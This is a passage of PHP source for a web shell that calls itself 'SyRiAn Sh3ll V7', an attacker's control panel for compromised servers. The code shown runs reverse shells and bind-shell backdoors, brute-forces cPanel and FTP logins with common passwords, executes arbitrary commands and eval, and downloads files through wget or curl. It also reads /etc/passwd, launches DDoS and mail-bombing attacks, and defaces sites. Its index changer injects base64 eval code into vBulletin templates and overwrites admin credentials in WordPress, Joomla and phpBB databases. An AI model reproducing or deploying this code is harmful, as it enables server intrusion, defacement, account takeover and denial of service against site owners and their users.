2021 print "[-] Connection Timeout Please Check The Target Hostname .";
2022 exit;
2023 }
2024 elseif ( curl_errno($ch) == 0 )
2025 {
2026 print "[+] Cracking Success With Username ($user) and Password ($pass)";
2027 }
2028 curl_close($ch);
2029 }
2030 if(isset($submit) && !empty($submit))
2031 {
2032 if(empty($users) && empty($pass))
2033 {
2034 print "[-] Please Check The Users or Password List Entry . . .";
2035 }
2036 if(empty($users))
2037 {
2038 print "[-] Please Check The Users List Entry . . .";
2039 }
2040 if(empty($pass))
2041 {
2042 print "[-] Please Check The Password List Entry . . ";
2043 }
2044 $userlist=explode("\n",$users);
2045 $passlist=explode("\n",$pass);
2046 print "[~]# Cracking Process Started, Please Wait ...";
2047 foreach ($userlist as $user)
2048 {
2049 $pureuser = trim($user);
2050 foreach ($passlist as $password )
2051 {
2052 $purepass = trim($password);
2053 if($cracktype == "ftp")
2054 {
2055 ftp_check($target,$pureuser,$purepass,$connect_timeout);
2056 }
2057 if ($cracktype == "cpanel")
2058 {
2059 cpanel_check($target,$pureuser,$purepass,$connect_timeout);
2060 }
2061 }
2062 }
2063 }
2064 }
2065 # --------------------------
2066 # Back Connection
2067 #---------------------------
2068 else if($_POST['backconn'])
2069 {
2070 if (!empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C'))
2071 {
2072 $ip = trim($_POST['ip']);
2073 $port = trim($_POST['backport']);
2074 tulis("bcc.c",$back_connect_c);
2075 Exe('gcc -o bcc bcc.c');
2076 Exe('chmod 777 bcc');
2077 @unlink('bcc.c');
2078 Exe("./bcc ".$ip." ".$port." &");
2079 $msg = "Now script try connect to ".$ip." port ".$port." ...";
2080 }
2081 elseif (!empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl'))
2082 {
2083 $ip = trim($_POST['ip']);
2084 $port = trim($_POST['backport']);
2085 tulis("bcp",$back_connect);
2086 Exe("chmod +x bcp");
2087 $p2=which("perl");
2088 Exe($p2." bcp ".$ip." ".$port." &");
2089 $msg = "Now script try connect to ".$ip." port ".$port." ...";
2090 }
2091 }
2092 # --------------------------
2093 # Bind Connection
2094 #---------------------------
2095 else if($_POST['bind'])
2096 {
2097 if (!empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C'))
2098 {
2099 $port = trim($_POST['port']);
2100 $passwrd = trim($_POST['bind_pass']);
2101 tulis("bdc.c",$port_bind_bd_c);
2102 Exe('gcc -o bdc bdc.c');
2103 Exe('chmod 777 bdc');
2104 @unlink("bdc.c");
2105 Exe("./bdc ".$port." ".$passwrd." &");
2106 $scan = Exe("ps aux");
2107 if(eregi("./bdc $por",$scan))
2108 {
2109 $msg = "Process found running, backdoor setup successfully.";
2110 }
2111 else
2112 {
2113 $msg = "Process not found running, backdoor not setup successfully.";
2114 }
2115 }
2116
2117 elseif (!empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl'))
2118 {
2119 $port = trim($_POST['port']);
2120 $passwrd = trim($_POST['bind_pass']);
2121 tulis("bdp",$port_bind_bd_pl);
2122 Exe("chmod 777 bdp");
2123 $p2=which("perl");
2124 Exe($p2." bdp ".$port." &");
2125 $scan = Exe("ps aux");
2126 if(eregi("$p2 bdp $port",$scan))
2127 {
2128 $msg = "Process found running, backdoor setup successfully.";
2129 }
2130 else
2131 {
2132 $msg = "Process not found running, backdoor not setup successfully.";
2133 }
2134 }
2135 }
2136
2137
2138 echo "</textarea>";
2139 if($_POST['editFileSubmit'])
2140 {
2141 echo "<input type='hidden' value='".$_POST['editFile']."' name='file2edit' /> ";
2142 echo "<input type='submit' value='Save' name='saveEditedFile'>";
2143 }
2144 echo "</form>
2145
2146 <!-- Main Table -->
2147 <table width='100%'><tr>
2148 <td width='30%' height=30>
2149 <!-- End Of Main Table -->
2150 <!-- Commands Alias-->
2151 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2152 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2153 <td style='background-color:#666;padding-left:10px;'>Commands Alias </td></tr><tr><td height='45' colspan='2'>";SelectCommand($os); echo "<input
2154
2155name='submitCommands' type='submit' value='ExecuteCommand'></td></tr></table></form>
2156 <!-- End Of Commands Alias-->
2157 </td>
2158 <td width='30%' height=30>
2159 <!-- Command Line -->
2160 <form method='POST'>
2161 <table width='100%' height='72' border='0' id='Box'><tr>
2162 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2163 <td style='background-color:#666;padding-left:10px;'>Command Line </td></tr><tr><td height='45' colspan='2'>
2164 <input type='text' name='cmd' id='commandLine' value='dir' size=59>
2165 <input type='text' name='directory' value=".getcwd()." size=59>
2166 <input name='Execute' id='Execute' type='submit' value='Execute' >
2167 </td></tr></table></form>
2168 <!-- End Of Command Line -->
2169 </td>
2170 <td width='30%' height=30>
2171 <!-- Edit File -->
2172 <form method=POST>
2173 <table width='100%' height='72' border='0' id='Box'><tr>
2174 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2175 <td style='background-color:#666;padding-left:10px;'>Edit File </td></tr><tr><td height='45' colspan='2'>
2176 <input type='text' name='editFile' size=59>
2177 <input name='editFileSubmit' type='submit' value='Edit'>
2178 </td></tr></table></form>
2179 <!-- End Of Edit File -->
2180 </td>
2181 </tr>
2182 <tr>
2183 <td width='30%'>
2184 <!-- Chmod Force -->
2185 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2186 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2187 <td style='background-color:#666;padding-left:10px;'>Change Mode </td></tr><tr><td height='45' colspan='2'>
2188 <input type='text' name='fileName' value='index.php' size=48>
2189 <br/><input type='text' name='per' value='0644' size='10'>
2190 <input type=submit value='Change Now !' name='changePermission'>
2191 </td></tr></table></form>
2192 <!-- End Of Chmod Force -->
2193 </td>
2194 <td>
2195 <!-- Get File -->
2196 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2197 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2198 <td style='background-color:#666;padding-left:10px;'>Get File </td></tr><tr><td height='45' colspan='2'>
2199 <input type='text' name='fileUrl' size='59' value='http://www.'>
2200 <select name=getType>
2201 <option value=wget>wget</option>
2202 <option value='curl -o'>curl -o</option>
2203 <option value=get>get</option>
2204 <option value='lynx -source'>lynx -source</option>
2205 </select>
2206 <input name=getFile type=submit value='Get File' >
2207 </td></tr></table></form>
2208 <!-- End Of Get File -->
2209 </td>
2210 <td>
2211 <!-- Bind Connection -->
2212 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2213 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2214 <td style='background-color:#666;padding-left:10px;'>Bind Connection </td></tr><tr><td height='45' colspan='2'>
2215 <input class='inputz' type='text' name='bind_pass' size='26' value='".gethostbyname($_SERVER["HTTP_HOST"])."'>
2216 <input type='text' name='port' size='26' value='443'>
2217 <select class='inputz' size='1' name='use'>
2218 <option value='Perl'>Perl</option><option value='C'>C</option>
2219 </select>
2220 <input class='inputzbut' type='submit' name='bind' value='Bind' style='width:120px'>
2221 </td></tr></table></form>
2222 <!-- End Of Bind Connection -->
2223 </td>
2224 </tr>
2225 <tr>
2226 <td>
2227 <!-- CGI perl -->
2228 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2229 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2230 <td style='background-color:#666;padding-left:10px;'>CGI Perl </td></tr><tr><td height='45' colspan='2'>
2231 <input type='text' value='".getcwd()."' name='cgiperlPath' size='43'>
2232 <input type='submit' name='generatePel' value='Generate'></td></tr></table></form>
2233 <!-- End Of CGI perl -->
2234 </td><td>
2235 <!-- Forbidden -->
2236 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2237 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2238 <td style='background-color:#666;padding-left:10px;'>Forbidden </td></tr><tr><td height='45' colspan='2'>
2239 <input type='text' value='".getcwd()."' name='forbiddenPath' size='70%'/>
2240 <select name='403'>
2241 <option value='DirectoryIndex'>DirectoryIndex</option>
2242 <option value='HeaderName'>HeaderName</option>
2243 <option value='TXT'>TXT</option>
2244 <option value='404'>404</option>
2245 <option value='ReadmeName'>ReadmeName</option>
2246 <option value='footerName'>footerName</option>
2247 </select>
2248 <input type='submit' value='Generate' name='generateForbidden'>
2249 </td></tr></table></form>
2250 <!-- End Of Forbidden -->
2251 </td>
2252 <td>
2253 <!-- Back Connection -->
2254 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2255 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2256 <td style='background-color:#666;padding-left:10px;'>Back Connection </td></tr><tr><td height='45' colspan='2'>
2257 <input type='text' name='ip' size='26' value='".GetRealIP()."'>
2258 <input type='text' name='backport' size='26' value='443'>
2259 <select name='use'>
2260 <option value='Perl'>Perl</option>
2261 <option value='C'>C</option>
2262 </select>
2263 <input type='submit' name='backconn' value='Connect'>
2264 </td></tr></table></form>
2265 <!-- End Of Back Connection -->
2266 </td>
2267 </tr>
2268 <tr>
2269 <td>
2270 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2271 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2272 <td style='background-color:#666;padding-left:10px;'>Hash Analyzer </td></tr><tr><td height='45' colspan='2'>
2273 <input type='text' name='hashToAnalyze' size=60>
2274 <input type='submit' value='Analyze Now' name='analyzieNow'></td></tr></table></form>
2275 </td>
2276 <td>
2277 <!-- Eval Code -->
2278 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2279 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2280 <td style='background-color:#666;padding-left:10px;'>Eval Code </td></tr><tr><td height='45' colspan='2'>
2281 <input type='text' name='php_eval' size='70' value='echo \"SyRiAn Sh3ll V7\";'>
2282 <input type=submit name=submitEval value=Eval></td></tr></table></form>
2283 <!-- End Of Eval Code -->
2284 </td>
2285 <td>
2286 <!-- Users & Domains -->
2287 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2288 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2289 <td style='background-color:#666;padding-left:10px;'>Users & Domains </td></tr><tr><td height='45' colspan='2'>
2290 <input type='text' name='usersPath' value='".getcwd()."' size='55'/>
2291 <input type='submit' name='GenerateUsers' Value='Generate'>
2292 <!-- End Of Users & Domains -->
2293 </td></tr></table></form>
2294 </td>
2295 </tr>
2296 <tr>
2297 <td>
2298 <!-- Reading Files -->
2299 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2300 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2301 <td style='background-color:#666;padding-left:10px;'>Reading Files & Dir Using PHP Bugs </td></tr><tr><td height='45' colspan='2'>
2302 <input type='text' value='/etc/passwd' name='file' size=35>
2303 <input class='buttons' type='submit' name='read' value='Read File'>
2304 <input class='buttons' type='submit' name='show' value='Show directory'>
2305 </td></tr></table></form>
2306 <!-- End Of Reading Files -->
2307 </td>
2308 <td>
2309 <!--Encryption -->
2310 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2311 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2312 <td style='background-color:#666;padding-left:10px;'>Encryption </td></tr><tr><td height='45' colspan='2'>
2313 <input type='text' value='SyRiAn_Sh3ll' name='ENCRYPTION' size='80%'>
2314 <input type='submit' value='Encrypt' name='encryptNow'>
2315 </td></tr></table></form>
2316 <!-- End Of Encryption -->
2317 </td>
2318 <td>
2319 <!-- Metasploit RC -->
2320 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2321 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2322 <td style='background-color:#666;padding-left:10px;'>Metasploit Connection </td></tr><tr><td height='45' colspan='2'>
2323 <input type='text' size='15' name='ip' value='127.0.0.1'>
2324 <input type='text' size='5' name='port' value='443'>
2325 <input type='submit' value='Connect' name='metaConnect'>
2326 </td></tr></table></form>
2327 <!-- End Of Metasploit RC -->
2328 </td>
2329 </tr>
2330 <tr>
2331 <td>
2332 <!-- DDOS Attacker -->
2333 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2334 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2335 <td style='background-color:#666;padding-left:10px;'>DDOS Attacker </td></tr><tr><td height='45' colspan='2'>
2336 <input type='text' name='ipToAttack' size='40' value='Target IP'>
2337 <input type='text' name='portToAttack' size='20' value='Target PORT'>
2338 <input type='submit' name='StartAttack' value='Attack'>
2339 </td></tr></table></form>
2340 <!-- End Of DDOS Attacker -->
2341 </td>
2342 <td>
2343 <!-- Ports Scanner -->
2344 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2345 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2346 <td style='background-color:#666;padding-left:10px;'>Ports Scanner </td></tr><tr><td height='45' colspan='2'>
2347 <input type='text' name='domainToScanPort' size='50' value='172.0.0.1'> <input type='submit' name='submitDomainToScanPort' Value='Scan Now'>
2348 </td></tr></table></form>
2349 <!-- End Of Ports Scanner -->
2350 </td>
2351 <td>
2352 <!-- ACP Finder -->
2353 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2354 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2355 <td style='background-color:#666;padding-left:10px;'>ACP Finder </td></tr><tr><td height='45' colspan='2'>
2356 <input name='hash_lol' class='textbox' type='text' size='30' value='http://www.example.com/'/>
2357 <input type='text' value='.php' name='extention'/>
2358 <input name='submit_lol' class='textbox' value='Brute Force Now' type='submit'>
2359 <!-- End Of ACP Finder -->
2360 </td></tr></table></form>
2361 </td>
2362 </tr>
2363
2364 <tr>
2365 <br>
2366 <td valign='top'>
2367 <!-- Server ShortCut -->
2368 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2369 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2370 <td style='background-color:#666;padding-left:10px;'>Server ShortCut </td></tr><tr><td height='45' colspan='2'>
2371 <input type='text' value='".getcwd()."' size='68' name='ShourtCutPath'>
2372 <input type='submit' name='generateSER' value=' Generate '>
2373 </td></tr></table></form>
2374 <!-- End Of Server ShoutCut -->
2375 </td>
2376 <td valign='top'>
2377 <!-- Fast Tools -->
2378 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2379 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2380 <td style='background-color:#666;padding-left:10px;'>Fast Tools </td></tr><tr><td height='45' colspan='2'>
2381 <input type=submit value='Generate .HTAccess' name='htaccessGenerate'>
2382 <input type=submit value='Generate php.ini' name='phpiniGenerate'>
2383 <input type=submit value='Generate ini.php' name='iniphpGenerate'><br/><br/>
2384 <input type='submit' value='Finding Config Files' name='configFinderSubmit' />
2385 <input type='submit' name='showUsers' value='Show Users' />
2386 </td></tr></table></form>
2387 <!-- End Of Fast Tools -->
2388 </td>
2389 <td valign='TOP'>
2390 <!-- SQL Reader -->
2391 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2392 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2393 <td style='background-color:#666;padding-left:10px;'>SQL Reader</td></tr><tr><td height='45' colspan='2'>
2394 <input type='text' value='/etc/passwd' name='file' size='35'><br/>
2395 <input type='text' name='host' value='127.0.0.1'>
2396 <input type='text' name='user' value='DB user'>
2397 <input type='text' name='pass' value='DB pass'>
2398 <input type=text name='db' value='DB name'>
2399 <input type='submit' name='sql2Read' value='Read'>
2400 ";
2401 if($sql_con)
2402 {
2403 echo '<input style="width:300px;" type="text" name="filetoread">
2404 <input type="submit" value="Read" name="SQLToRead">';
2405 }
2406 echo "</td></tr></table></form>
2407 <!-- End Of SQL Reader -->
2408 </td>
2409 </tr>
2410 <tr>
2411 <td valign='top'>
2412 <!-- Mail Storm -->
2413 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2414 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2415 <td style='background-color:#666;padding-left:10px;'>Mail Storm </td></tr><tr><td height='45' colspan='2'>
2416 <textarea rows='5' cols='45' name='Comments' >Attacker Message</textarea>
2417 <input type='text' name='to' value='Target Email' >
2418 <input type='text' size='5' name='nom' value='100'>
2419 <input name='sendMailStorm' type='submit' value='Send Mail Storm ' >
2420 </td></tr></table></form>
2421 <!-- End Of Mail Storm -->
2422 </td>
2423 <td valign='top'>
2424 <!-- SQL Query -->
2425 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2426 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2427 <td style='background-color:#666;padding-left:10px;'>SQL Query</td></tr><tr><td height='45' colspan='2'>
2428 <input type = 'text' name=\"QU_HOST\" value='127.0.0.1'>
2429 <input type = 'text' name=\"QU_USER\" value='DB User'><br/>
2430 <input type = 'text' name=\"QU_PASS\" value='DB Pass'>
2431 <input type=text name=\"QU_DB\" value='DB Name' >
2432 <textarea name='QU' rows=2 cols=50>SELECT * FROM emp ;</textarea>
2433 <input name='MySQLQuery' type='submit'>
2434 </td></tr></table></form>
2435 <!-- SQL Query -->
2436 </td>
2437 <td valign='top'>
2438 <!-- Email Extractor -->
2439 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2440 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2441 <td style='background-color:#666;padding-left:10px;'>Email Extractor</td></tr><tr><td height='45' colspan='2'>
2442 <input type = 'text' name='EM_HOST' value='127.0.0.1'>
2443 <input type='text' name='EM_USER' value='DB user'>
2444 <input type ='text' name='EM_PASS' value='DB pass'>
2445 <input type='text' name='EM_DB' value='DB name'>
2446 <input type ='text' name='EM_TABLE' value='users Table'>
2447 <input type ='text' name='EM_COLUMN' value='emails Column'><br/>
2448 <input name='getEmails' type='submit' id='submit' style='font-weight: value=Extract now !'>
2449 <input type='submit' value='?' name='emailExtractorHelp' alt='Email Extractor Help'/>
2450 </td></tr></table></form>
2451 <!-- End Of Email Extractor -->
2452 </td>
2453 </tr>
2454 <tr>
2455 <td valign='top'>
2456 <!-- Zone-H -->
2457 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2458 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2459 <td style='background-color:#666;padding-left:10px;'>Zone-H Defacer</td></tr><tr><td height='45' colspan='2'>";
2460 echo '<form action="" method="post">
2461<input type="text" name="defacer" size="40" value="Attacker" />
2462<select name="hackmode">
2463<option >--------SELECT--------</option>
2464<option value="1">known vulnerability (i.e. unpatched system)</option>
2465<option value="2" >undisclosed (new) vulnerability</option>
2466<option value="3" >configuration / admin. mistake</option>
2467<option value="4" >brute force attack</option>
2468<option value="5" >social engineering</option>
2469<option value="6" >Web Server intrusion</option>
2470<option value="7" >Web Server external module intrusion</option>
2471<option value="8" >Mail Server intrusion</option>
2472<option value="9" >FTP Server intrusion</option>
2473<option value="10" >SSH Server intrusion</option>
2474<option value="11" >Telnet Server intrusion</option>
2475<option value="12" >RPC Server intrusion</option>
2476<option value="13" >Shares misconfiguration</option>
2477<option value="14" >Other Server intrusion</option>
2478<option value="15" >SQL Injection</option>
2479<option value="16" >URL Poisoning</option>
2480<option value="17" >File Inclusion</option>
2481<option value="18" >Other Web Application bug</option>
2482<option value="19" >Remote administrative panel access bruteforcing</option>
2483<option value="20" >Remote administrative panel access password guessing</option>
2484<option value="21" >Remote administrative panel access social engineering</option>
2485<option value="22" >Attack against administrator(password stealing/sniffing)</option>
2486<option value="23" >Access credentials through Man In the Middle attack</option>
2487<option value="24" >Remote service password guessing</option>
2488<option value="25" >Remote service password bruteforce</option>
2489<option value="26" >Rerouting after attacking the Firewall</option>
2490<option value="27" >Rerouting after attacking the Router</option>
2491<option value="28" >DNS attack through social engineering</option>
2492<option value="29" >DNS attack through cache poisoning</option>
2493<option value="30" >Not available</option>
2494</select>
2495
2496<select name="reason">
2497<option >--------SELECT--------</option>
2498<option value="1" >Heh...just for fun!</option>
2499<option value="2" >Revenge against that website</option>
2500<option value="3" >Political reasons</option>
2501<option value="4" >As a challenge</option>
2502<option value="5" >I just want to be the best defacer</option>
2503<option value="6" >Patriotism</option>
2504<option value="7" >Not available</option>
2505</select>
2506<textarea name="domain" cols="44" rows="9">List Of Domains</textarea>
2507<input type="submit" value="Send Now !" name="SendNowToZoneH" />
2508</form>';
2509 echo "</td></tr></table></form>
2510 <!-- End Of Zone-H -->
2511 </td>
2512 <td valign='top'>
2513 <!-- Cpanel And FTP BruteForce Attacker -->
2514 <form method=POST><table width='100%' height='72' border='0' id='Box'><tr>
2515 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2516 <td style='background-color:#666;padding-left:10px;'>Cpanel And FTP BruteForce </td></tr><tr><td height='45' colspan='2'>
2517 <textarea rows='12' name='users' cols='23' >";
2518 @system('ls /var/mail');
2519 echo "</textarea>
2520 <textarea rows='12' name='passwords' cols='23' >123123\n123456\n1234567\n12345678\n123456789\n159159\n112233\n332211\n!@#$%^\n^%$#@!.\n!@#$%^&\n!@#$%^&*\n!@#$
2521
2522%^&*(\npassword\npasswd\npasswords\npass\np@assw0rd\npass@word1
2523 </textarea>
2524 <input type='text' name='target' size='16' value='127.0.0.1' >
2525 <input name='cracktype' value='cpanel' checked type='radio'><sy>Cpanel (2082)</sy>
2526 <input name='cracktype' value='ftp' type='radio'><sy>Ftp (21)</sy>
2527 <input type='submit' value=' Crack it ! ' name='BruteForceCpanelAndFTP' >
2528 </td></tr></table></form>
2529 <!-- End Of Cpanel And FTP BruteForce Attacker -->
2530 </td>
2531 <td valign='top'>
2532 <!-- Upload Files -->
2533 <form enctype=\"multipart/form-data\" method=\"POST\"><table width='100%' height='72' border='0' id='Box'><tr>
2534 <td width='12' height='21' style='background-color:".$shellColor."'> </td>
2535 <td style='background-color:#666;padding-left:10px;'>Upload Files </td></tr><tr><td height='45' colspan='2'>
2536 <input type=\"file\" name=\"uploadfile[]\">
2537 <input type=\"file\" name=\"uploadfile[]\">
2538 <input type=\"file\" name=\"uploadfile[]\">
2539 <input type=\"file\" name=\"uploadfile[]\">
2540 <input type=\"file\" name=\"uploadfile[]\">
2541 <input type=\"file\" name=\"uploadfile[]\">
2542 <input type=\"file\" name=\"uploadfile[]\">
2543 <input type=\"file\" name=\"uploadfile[]\">
2544 <input type=\"file\" name=\"uploadfile[]\">
2545 <input type=\"file\" name=\"uploadfile[]\">
2546 <input type=\"submit\" value=\"Upload Files\" name='UploadNow'>
2547 </td></tr></table></form>
2548 <!-- End Of Upload Files -->
2549 </td></tr>
2550 </table>
2551 ";
2552 if($_POST['changeDirectory'])
2553 {
2554 $directory = $_POST['directory'];
2555 $directory = @str_replace("\\\\"," ",$directory);
2556 $directory = @str_replace(" ","\\",$directory);
2557 @chdir($directory);
2558 }
2559 if($_POST['getFile'])
2560 {
2561 $fileUrl = $_POST['fileUrl'];
2562 $getType = $_POST['getType'];
2563 Exe("'".$getType.$fileUrl."'");
2564 }
2565footer();
2566}
2567# ---------------------------------------#
2568# IndexChanger #
2569#----------------------------------------#
2570if ($_GET['id']== 'scriptsHack' )
2571{
2572 echo "
2573 <table width='100%'>
2574 <tr>
2575 <td colspan='2'><textarea cols='153' rows='10'>";
2576 if($_POST['UpdateIndex'] || $_POST['changeInfo'] )
2577 {
2578 $host = $_POST['HOST'];
2579 $user = $_POST['USER'];
2580 $pass = $_POST['PASS'];
2581 $db = $_POST['DB'];
2582 $index = $_POST['INDEX'];
2583 $prefix = $_POST['PREFIX'];
2584 if (empty($_POST['HOST']))
2585 $host = '127.0.0.1';
2586 $index=str_replace("\'","'",$index);
2587 @mysql_connect($host,$user,$pass) or die( "[-] Unable TO Connect DATABASE ! Username Or Password Is Wrong !!");
2588 @mysql_select_db($db) or die ("[-] Database Name Is Wrong !!");
2589
2590 if($_POST['UpdateIndex'])
2591 {
2592 if ($_POST['ScriptType'] == 'vb')
2593 {
2594 $full_index = "{\${eval(base64_decode(\'";
2595 $full_index .= base64_encode("echo \"$index\";");
2596 $full_index .= "\'))}}{\${exit()}}</textarea>";
2597 if($_POST['injectFAQ'])
2598 {
2599 $injectfaq = @mysql_query("UPDATE template SET template ='".$full_index."' WHERE title ='faq'");
2600 }
2601 else
2602 {
2603 $ok1 = mysql_query("UPDATE template SET template ='".$full_index."' WHERE title ='forumhome'");
2604 if (!$ok1)
2605 {
2606 $ok2 = mysql_query("UPDATE template SET template ='".$full_index."' WHERE title ='header'");
2607 }
2608 elseif (!$ok2)
2609 {
2610 $ok3 = mysql_query("UPDATE template SET template ='".$full_index."' WHERE title ='spacer_open'");
2611 }
2612 elseif(!$ok3)
2613 {
2614 $ok4 = @mysql_query("UPDATE template SET template ='".$full_index."' WHERE title ='faq'");
2615 }
2616 }
2617 mysql_close();
2618 if ($ok1 || $ok2 || $ok3 || $ok4 || $injectfaq )
2619 {
2620 update();
2621 }
2622 else
2623 {
2624 echo "Updating Has Failed !";
2625 }
2626 }
2627 else if ($_POST['ScriptType'] == 'wp')
2628 {
2629 $tableName = $prefix."posts" ;
2630 $ok1 = mysql_query("UPDATE $tableName SET post_title ='".$index."' WHERE ID > 0 ");
2631 if(!$ok1)
2632 {
2633 $ok2 = mysql_query("UPDATE $tableName SET post_content ='".$index."' WHERE ID > 0 ");
2634 }
2635 elseif(!$ok2)
2636 {
2637 $ok3 = mysql_query("UPDATE $tableName SET post_name ='".$index."' WHERE ID > 0 ");
2638 }
2639 mysql_close();
2640 if ($ok1 || $ok2 || $ok3)
2641 {
2642 update();
2643 }
2644 else
2645 {
2646 echo "Updating Has Failed !";
2647 }
2648 }
2649 else if ($_POST['ScriptType'] == 'jos')
2650 {
2651 $jos_table_name = $prefix."menu" ;
2652 $jos_table_name2 = $prefix."modules" ;
2653 $ok1 = mysql_query("UPDATE $jos_table_name SET name ='".$index."' WHERE ID > 0 ");
2654 if(!$ok1)
2655 {
2656 $ok2 = mysql_query("UPDATE $jos_table_name2 SET title ='".$index."' WHERE ID > 0 ");
2657 }
2658 mysql_close();
2659 if ($ok1 || $ok2 || $ok3)
2660 {
2661 update();
2662 }
2663 else
2664 {
2665 echo "Updating Has Failed !";
2666 }
2667 }
2668 else if ($_POST['ScriptType'] == 'phpbb')
2669 {
2670 $php_table_name = $prefix."forums";
2671 $php_table_name2 = $prefix."posts";
2672 $ok1 = mysql_query("UPDATE $php_table_name SET forum_name ='.$index.' WHERE forum_id > 0 ");
2673 if(!$ok1)
2674 {
2675 $ok2 = mysql_query("UPDATE $php_table_name2 SET post_subject ='.$index.' WHERE post_id > 0 ");
2676 }
2677 mysql_close();
2678 if ($ok1 || $ok2 || $ok3)
2679 {
2680 update();
2681 }
2682 else
2683 {
2684 echo "Updating Has Failed !";
2685 }
2686 }
2687 else if ($_POST['ScriptType'] == 'ipb')
2688 {
2689 $ip_table_name = $prefix."components" ;
2690 $ip_table_name2 = $prefix."forums" ;
2691 $ip_table_name3 = $prefix."posts" ;
2692 $ok1 = mysql_query("UPDATE $ip_table_name SET com_title ='".$index."' WHERE com_id > 0");
2693 if(!$ok1)
2694 {
2695 $ok2 = mysql_query("UPDATE $ip_table_name2 SET name ='".$index."' WHERE id > 0");
2696 }
2697 if(!$ok2)
2698 {
2699 $ok3 = mysql_query("UPDATE $ip_table_name3 SET post ='".$IP_INDEX."' WHERE pid <10") or die("Can't Update Templates
2700
2701!!");
2702 }
2703 mysql_close();
2704 if ($ok1 || $ok2 || $ok3)
2705 {
2706 update();
2707 }
2708 else
2709 {
2710 echo "Updating Has Failed !";
2711 }
2712 }
2713 else if ($_POST['ScriptType'] == 'smf')
2714 {
2715 $table_name = $prefix."boards" ;
2716 {
2717 $ok1 = mysql_query("UPDATE $table_name SET description ='.$index.' WHERE ID_BOARD > 0");
2718 }
2719 if(!$ok1)
2720 {
2721 $ok2 = mysql_query("UPDATE $table_name SET name ='.$index.' WHERE ID_BOARD > 0");
2722 }
2723 mysql_close();
2724 if ($ok1 || $ok2)
2725 {
2726 update();
2727 }
2728 else
2729 {
2730 echo "Updating Has Failed !";
2731 }
2732 }
2733 else if ($_POST['ScriptType'] == 'mybb')
2734 {
2735 $mybb_prefix = $prefix."templates";
2736 $ok1 = mysql_query(" update $mybb_prefix set template='".$index."' where title='index' ");
2737 if ($ok1)
2738 {
2739 update();
2740 }
2741 else
2742 {
2743 echo "Updating Has Failed !";
2744 }
2745 mysql_close();
2746 }
2747 }
2748 elseif($_POST['changeInfo'])
2749 {
2750 $adminID = $_POST['adminID'];
2751 $userName = $_POST['userName'];
2752 $password = $_POST['password'];
2753 if($_POST['ScriptType'] == 'vb')
2754 {
2755 //VB Code
2756 $password = md5($password);
2757 $tryChaningInfo = @mysql_query("UPDATE user SET username = '".$userName."' , password = '".$password."' WHERE userid = ".
2758
2759$adminID."");
2760 if($tryChaningInfo)
2761 {update();}
2762 else {mysql_error();}
2763 }
2764 else if($_POST['ScriptType'] == 'wp')
2765 {
2766 //WoredPress
2767 $password = crypt($password);
2768 $tryChaningInfo = @mysql_query("UPDATE wp_users SET user_login = '".$userName."' , user_pass = '".$password."' WHERE ID
2769
2770= ".$adminID."");
2771 if($tryChaningInfo)
2772 {update();}
2773 else {mysql_error();}
2774 }
2775 else if($_POST['ScriptType'] == 'jos')
2776 {
2777 //Joomla
2778 $password = crypt($password);
2779 $tryChaningInfo = @mysql_query("UPDATE jos_users SET username ='".$userName."' , password = '".$password."' WHERE ID =
2780
2781".$adminID."");
2782 if($tryChaningInfo)
2783 {update();}
2784 else {mysql_error();}
2785 }
2786 else if($_POST['ScriptType'] == 'phpbb')
2787 {
2788 //PHPBB3
2789 $password = md5($password);
2790 $tryChaningInfo = @mysql_query("UPDATE phpbb_users SET username ='".$userName."' , user_password = '".
2791
2792$password."' WHERE user_id = ".$adminID."");
2793 if($tryChaningInfo)
2794 {update();}
